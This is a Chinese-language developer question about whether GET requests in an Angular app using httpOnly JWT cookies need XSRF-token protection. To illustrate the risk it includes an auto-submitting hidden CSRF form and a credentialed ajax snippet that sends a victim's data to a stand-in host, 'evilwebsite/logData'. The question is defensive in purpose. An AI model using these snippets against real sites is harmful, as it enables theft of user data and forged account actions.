我有一个 REST API,它允许经过身份验证的用户读取有关他们自己帐户的数据并更改他们的帐户。对于身份验证,我使用存储为 httpOnly cookie 的 JWT。为了防止 CSRF 攻击,REST API 还为客户端提供了 Angular 所称的“XSRF 令牌”。
Angular 的 CSRF 保护方法是获取您的 API 创建的 XSRF 令牌,并将其重新提交给 API,每个请求都包含在“X-XSRF-Token”标头中。是否允许请求由您的 API 决定。在恶意网站上运行的脚本将无法访问 XSRF 令牌,因此无法将其与任何 CSRF 请求一起提交。
当我使用 HttpClient 在 Angular 中实现我的前端请求时,我注意到 HttpXsrfInterceptor 不会发送带有 GET 和 HEAD 请求的 X-XSRF-Token 标头。
根据我在网上阅读的意见,GET 请求不需要 CSRF 保护,因为它们不(或不应该)修改任何数据。CSRF 攻击对 GET 请求的最大作用是让 REST API 将敏感数据发送到用户的 Web 浏览器。敌对网站将无法看到该数据。
示例 1:CSRF GET
如果恶意网站试图发出这样的 CSRF GET 请求:
<img src="https://example.com/sensitiveData">
然后敏感数据从 API 传输到用户的网络浏览器,但恶意网站看不到数据,所以一切正常。
示例 2:CSRF POST
如果恶意网站试图发出这样的 CSRF POST 请求:
<body onLoad="document.forms[0].submit()">
<form method="post" action="https://example.com/purchase">
<input type="hidden" name="itemId" value="34873847">
<input type="submit" value="View Kittens">
</form>
...
那么恶意网站仍然看不到任何数据,但它可能会对用户造成损害。如果 API 要求存在 X-XSRF-Token 标头,则此攻击无法成功。
示例 3:通过 Ajax 获取 CSRF
但是如果恶意网站强制浏览器发出这样的 GET 请求怎么办:
<script>
$.ajax('https://example.com/sensitiveData', {
xhrFields: {
withCredentials: true,
},
}).done((sensitiveData) => {
$.ajax('https://evilwebsite/logData', {
method: 'post',
data: sensitiveData,
}).done(() => {
console.log('I stole your data', sensitiveData)
});
});
</script>
一些 CORS 策略会阻止这种情况,但其他 CORS 策略仍然会让它发生。
似乎要求对 GET 请求进行 CSRF 保护可以缓解这个漏洞。
我错过了什么重要的东西吗?